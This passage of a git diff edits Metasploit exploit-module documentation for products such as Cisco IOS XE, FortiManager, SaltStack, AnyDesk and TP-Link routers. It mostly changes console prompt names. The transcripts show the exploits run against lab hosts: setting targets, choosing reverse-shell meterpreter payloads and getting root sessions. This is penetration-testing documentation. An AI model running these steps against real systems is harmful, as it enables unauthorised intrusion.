privilege 15 user 'aZIYJugi' with password 'RziZqysr' -[*] Removing user 'aZIYJugi' -[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000 +[*] Created privilege 15 user 'JJgILIEn' with password 'EkMpGWih' +[*] Removing user 'JJgILIEn' +[*] Command shell session 12 opened (192.168.86.122:4444 -> 192.168.86.114:61982) at 2025-03-03 20:38:16 +0000 id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 uname -a -Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux +Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux exit -[*] 192.168.86.59 - Command shell session 4 closed. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > +[*] 192.168.86.114 - Command shell session 12 closed. +msf exploit(linux/misc/cisco_ios_xe_rce) > ``` diff --git a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md index 8340a0e5f1341..668405fd87a70 100644 --- a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md +++ b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md @@ -60,9 +60,9 @@ Exploit target: ## Scenarios ``` -msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check +msf exploit(linux/misc/cisco_rv340_sslvpn) > check [*] 5.55.55.62:8443 - The service is running, but could not be validated. -msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit +msf exploit(linux/misc/cisco_rv340_sslvpn) > exploit [*] Started reverse TCP handler on 5.55.55.1:4445 [*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version <= 1.0.03.24 diff --git a/documentation/modules/exploit/linux/misc/cve_2020_13160_anydesk.md b/documentation/modules/exploit/linux/misc/cve_2020_13160_anydesk.md index 057d0ac3f6f1e..99fa33f148aad 100644 --- a/documentation/modules/exploit/linux/misc/cve_2020_13160_anydesk.md +++ b/documentation/modules/exploit/linux/misc/cve_2020_13160_anydesk.md @@ -34,14 +34,14 @@ This option is used to specify the port on which to listen for discovery frames ### Ubuntu 18.04 x64 ``` -msf5 exploit(linux/misc/cve_2020_13160_anydesk) > use exploit/linux/misc/cve_2020_13160_anydesk -msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set RHOSTS 192.168.159.33 +msf exploit(linux/misc/cve_2020_13160_anydesk) > use exploit/linux/misc/cve_2020_13160_anydesk +msf exploit(linux/misc/cve_2020_13160_anydesk) > set RHOSTS 192.168.159.33 RHOSTS => 192.168.159.33 -msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/cve_2020_13160_anydesk) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/misc/cve_2020_13160_anydesk) > check +msf exploit(linux/misc/cve_2020_13160_anydesk) > check [*] 192.168.159.33:50001 - The service is running, but could not be validated. Remote hostname: ubuntu -msf5 exploit(linux/misc/cve_2020_13160_anydesk) > exploit +msf exploit(linux/misc/cve_2020_13160_anydesk) > exploit [*] Started reverse TCP handler on 192.168.250.87:4444 [*] Discovered the remote service (hostname: ubuntu, os: linux) diff --git a/documentation/modules/exploit/linux/misc/cve_2021_38647_omigod.md b/documentation/modules/exploit/linux/misc/cve_2021_38647_omigod.md index 269d53a447bfa..c52e3bb7f62ae 100644 --- a/documentation/modules/exploit/linux/misc/cve_2021_38647_omigod.md +++ b/documentation/modules/exploit/linux/misc/cve_2021_38647_omigod.md @@ -22,17 +22,17 @@ cause it to execute an operating system command as the root user. This vulnerabi ### Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6 ``` -msf6 > use exploit/linux/misc/cve_2021_38647_omigod +msf > use exploit/linux/misc/cve_2021_38647_omigod [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/cve_2021_38647_omigod) > set RHOSTS 192.168.159.128 +msf exploit(linux/misc/cve_2021_38647_omigod) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(linux/misc/cve_2021_38647_omigod) > check +msf exploit(linux/misc/cve_2021_38647_omigod) > check [+] 192.168.159.128:5985 - The target is vulnerable. Command executed as uid 0. -msf6 exploit(linux/misc/cve_2021_38647_omigod) > set TARGET Linux\ Dropper +msf exploit(linux/misc/cve_2021_38647_omigod) > set TARGET Linux\ Dropper TARGET => Linux Dropper -msf6 exploit(linux/misc/cve_2021_38647_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/cve_2021_38647_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/cve_2021_38647_omigod) > exploit +msf exploit(linux/misc/cve_2021_38647_omigod) > exploit [*] Started reverse TCP handler on 192.168.159.128:8443 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md index 7ec1f644ec812..7ecbea9040851 100644 --- a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md +++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md @@ -73,15 +73,15 @@ If set, use this platform instead of determining the platform at runtime. ### Default ``` -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93 +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93 RHOST => 192.168.86.93 -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0 +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0 LHOST => eth0 -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444 +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444 LPORT => 4444 -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575): @@ -121,9 +121,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check [*] 192.168.86.93:541 - The service is running, but could not be validated. Detected Fortinet FortiManager -msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit +msf exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] 192.168.86.93:541 - Client certificate common name: FMG-VM0000000000 diff --git a/documentation/modules/exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.md b/documentation/modules/exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.md index 59c1835fd37d7..6cde33f51eba2 100644 --- a/documentation/modules/exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.md +++ b/documentation/modules/exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.md @@ -24,12 +24,12 @@ ## Scenarios ``` - msf5 > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce - msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set rhosts 10.123.123.123 + msf > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce + msf exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set rhosts 10.123.123.123 rhosts => 10.123.123.123 - msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set lhost 10.1.1.197 + msf exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set lhost 10.1.1.197 lhost => 10.1.1.197 - msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > run + msf exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > run [*] Started reverse TCP handler on 10.1.1.197:4444 [*] 10.123.123.123:4070 - Connecting to target diff --git a/documentation/modules/exploit/linux/misc/igel_command_injection.md b/documentation/modules/exploit/linux/misc/igel_command_injection.md index ebe723e83e30c..440bc55103e23 100644 --- a/documentation/modules/exploit/linux/misc/igel_command_injection.md +++ b/documentation/modules/exploit/linux/misc/igel_command_injection.md @@ -55,15 +55,15 @@ This module has been successfully tested against IGEL OS 11.04.130 and 10.05.500 Targeting the Secure Terminal service (30022/tcp): ``` -msf6 > use exploit/linux/misc/igel_command_injection +msf > use exploit/linux/misc/igel_command_injection [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/misc/igel_command_injection) > set rhost 192.168.37.133 +msf exploit(linux/misc/igel_command_injection) > set rhost 192.168.37.133 rhost => 192.168.37.133 -msf6 exploit(linux/misc/igel_command_injection) > set lhost 192.168.37.1 +msf exploit(linux/misc/igel_command_injection) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(linux/misc/igel_command_injection) > set verbose true +msf exploit(linux/misc/igel_command_injection) > set verbose true verbose => true -msf6 exploit(linux/misc/igel_command_injection) > run +msf exploit(linux/misc/igel_command_injection) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] 192.168.37.133:30022 - Executing automatic check (disable AutoCheck to override) @@ -108,9 +108,9 @@ meterpreter > Targeting the Secure Shadowing service (5900/tcp): ``` -msf6 exploit(linux/misc/igel_command_injection) > set target 1 +msf exploit(linux/misc/igel_command_injection) > set target 1 target => 1 -msf6 exploit(linux/misc/igel_command_injection) > options +msf exploit(linux/misc/igel_command_injection) > options Module options (exploit/linux/misc/igel_command_injection): @@ -142,7 +142,7 @@ Exploit target: 1 Secure Shadow Service -msf6 exploit(linux/misc/igel_command_injection) > run +msf exploit(linux/misc/igel_command_injection) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] 192.168.37.133:5900 - Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md b/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md index 25c7fe990129b..a527e8551aadc 100644 --- a/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md +++ b/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md @@ -45,15 +45,15 @@ docker run --rm --link some-nimbus:nimbus -it -v $(pwd)/topology.jar:/topology.j ### Debian 11.1 x64, Apache Storm v2.2.4 (From Docker) ``` -msf6 > use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec +msf > use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LHOST docker0 +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LHOST docker0 LHOST => docker0 -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LPORT 6677 +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LPORT 6677 LPORT => 6677 -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set RHOST 127.0.0.1 +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > show options +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > show options Module options (exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec): @@ -88,9 +88,9 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check [*] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection. -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit [*] Started reverse TCP handler on 172.18.0.1:6677 [*] 127.0.0.1:6627 - Running automatic check ("set AutoCheck false" to disable) @@ -114,13 +114,13 @@ meterpreter > ### Debian 11.1 x64, Apache Storm v2.2.0 (From Docker) ``` -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET 1 +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check [*] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection. -msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit +msf exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] 192.168.159.31:6627 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md b/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md index 1349beeb73e00..df6fdf4bea8d0 100644 --- a/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md +++ b/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md @@ -108,8 +108,8 @@ seconds. #### Executing Python payload on the master ``` -msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets +msf > use exploit/linux/misc/saltstack_salt_unauth_rce +msf exploit(linux/misc/saltstack_salt_unauth_rce) > show targets Exploit targets: @@ -121,7 +121,7 @@ Exploit targets: 3 Minions (Unix command) -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options +msf exploit(linux/misc/saltstack_salt_unauth_rce) > options Module options (exploit/linux/misc/saltstack_salt_unauth_rce): @@ -154,11 +154,11 @@ Exploit target: 0 Master (Python payload) -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5 +msf exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5 rhosts => 172.28.128.5 -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1 +msf exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1 lhost => 172.28.128.1 -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run +msf exploit(linux/misc/saltstack_salt_unauth_rce) > run [*] Started HTTPS reverse handler on https://172.28.128.1:8443 [*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check @@ -213,9 +213,9 @@ meterpreter > #### Executing Python payload on the minions ``` -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload) +msf exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload) target => Minions (Python payload) -msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run +msf exploit(linux/misc/saltstack_salt_unauth_rce) > run [*] Started HTTPS reverse handler on https://172.28.128.1:8443 [*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506 diff --git a/documentation/modules/exploit/linux/misc/tplink_archer_a7_c7_lan_rce.md b/documentation/modules/exploit/linux/misc/tplink_archer_a7_c7_lan_rce.md index 05129bae00919..6088695fcd05e 100644 --- a/documentation/modules/exploit/linux/misc/tplink_archer_a7_c7_lan_rce.md +++ b/documentation/modules/exploit/linux/misc/tplink_archer_a7_c7_lan_rce.md @@ -54,19 +54,19 @@ Payload options (linux/mipsbe/shell_reverse_tcp): ## Scenarios ``` -msf5 > use exploits/linux/misc/tplink_archer_a7_c7_lan_rce -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set RHOST 192.168.0.1 +msf > use exploits/linux/misc/tplink_archer_a7_c7_lan_rce +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set RHOST 192.168.0.1 RHOST => 192.168.0.1 -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set LHOST 192.168.0.238 +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set LHOST 192.168.0.238 LHOST => 192.168.0.238 -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set SRVHOST 192.168.0.238 +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set SRVHOST 192.168.0.238 SRVHOST => 192.168.0.238 -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > check +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > check [+] 192.168.0.1:20002 - The target is vulnerable. -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > run +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > [*] Started reverse TCP handler on 192.168.0.238:4444 [*] Attempting to exploit TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726) [*] Starting up our web service on http://192.168.0.238:4445 ... @@ -85,7 +85,7 @@ msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > [*] Command shell session 1 opened (192.168.0.238:4444 -> 192.168.0.1:48112) at 2020-03-26 16:47:09 +0100 [*] Server stopped. -msf5 exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > sessions 1 +msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > sessions 1 [*] Starting interaction with 1... id diff --git a/documentation/modules/exploit/linux/misc/unidata_udadmin_auth_bypass.md b/documentation/modules/exploit/linux/misc/unidata_udadmin_auth_bypass.md index 0b7605faddb22..0b92317a06101 100644 --- a/documentation/modules/exploit/linux/misc/unidata_udadmin_auth_bypass.md +++ b/documentation/modules/exploit/linux/misc/unidata_udadmin_auth_bypass.md @@ -117,22 +117,22 @@ passive inspection. We set the encoding the XOR'ing with 2 by default. ### Version 8.2.4 with root user, unix command target ``` -msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass +msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show options Module options (exploit/linux/misc/unidata_udadmin_auth_bypass): @@ -174,7 +174,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) @@ -194,25 +194,25 @@ Server username: root ### Version 8.2.4 with invalid user ``` -msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass +msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME fake +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME fake UNIRPC_USERNAME => fake -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show options Module options (exploit/linux/misc/unidata_udadmin_auth_bypass): @@ -254,7 +254,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) @@ -270,28 +270,28 @@ msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit ### Version 8.2.4 with non-root user, unix command target ``` -msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass +msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4 [-] Unknown datastore option: UNIDATA_VERSION. -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME ron +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME ron UNIRPC_USERNAME => ron -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_UID 1000 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_UID 1000 UNIRPC_UID => 1000 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) @@ -311,10 +311,10 @@ Server username: ron ### Version 8.2.4 as root, with unix dropper target ``` -msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass +msf > use exploit/linux/misc/unidata_udadmin_auth_bypass [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show targets +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > show targets Exploit targets: ================= @@ -325,22 +325,22 @@ Exploit targets: 1 Linux Dropper -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set TARGET 1 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit +msf exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/misc/unidata_udadmin_password_stack_overflow.md b/documentation/modules/exploit/linux/misc/unidata_udadmin_password_stack_overflow.md index 0de55bde51d26..7b51ef72a4146 100644 --- a/documentation/modules/exploit/linux/misc/unidata_udadmin_password_stack_overflow.md +++ b/documentation/modules/exploit/linux/misc/unidata_udadmin_password_stack_overflow.md @@ -123,19 +123,19 @@ Currently, the only options are `8.2.4` and `auto` ### Version 8.2.4 with auto-detection + unix command payload ``` -msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow +msf > use exploit/linux/misc/unidata_udadmin_password_stack_overflow [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) @@ -156,21 +156,21 @@ Server username: root ### Version 8.2.4 with specific targeting + unix command payload ``` -msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow +msf > use exploit/linux/misc/unidata_udadmin_password_stack_overflow [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160 LHOST => ens160 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198 RHOST => 10.0.0.198 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set UNIDATA_VERSION 8.2.4 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set UNIDATA_VERSION 8.2.4 UNIDATA_VERSION => 8.2.4 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit [*] Started reverse TCP handler on 10.0.0.227:4444 [*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable) @@ -191,10 +191,10 @@ Server username: root ### Version 8.2.4 with auto-detection + unix dropper payload ``` -msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow +msf > use exploit/linux/misc/unidata_udadmin_password_stack_overflow [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > show targets +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > show targets Exploit targets: ================= @@ -205,22 +205,22 @@ Exploit targets: 1 Linux Dropper -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set TARGET 1 +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) 